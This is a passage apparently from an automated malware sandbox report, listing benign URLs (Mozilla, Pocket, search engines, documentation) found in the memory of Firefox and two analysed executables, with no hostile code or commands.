Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=793869
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=806991
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3243620551.000001C23E2D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=809550
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=815437
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=840161
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=951422
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: 79ddad050f.exe, 00000008.00000003.3071958738.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 79ddad050f.exe, 00000008.00000003.3034902192.00000000058E6000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3190903073.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsInt
Source: firefox.exe, 0000001B.00000002.3641525579.000001C23DED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3641525579.000001C23DEF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DDA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3282408965.0000016489E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150956567.000001C23BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3181465524.000001C244A29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3193714201.000001C244A82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1BrowserInitState.startupIdleTaskPromise
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3438395331.000001C23B663000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabListens
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreextensions.pocket.oAuthConsumerKey
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-highlights-option-saved-to-pocket
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsStructured
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/#getLanguageIdModelArrayBuffer
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881See
Source: firefox.exe, 0000001B.00000003.3245523284.000001C23E294000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3646061223.000001C23E603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3232307080.000001C23E294000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3626934066.000001C23CE19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
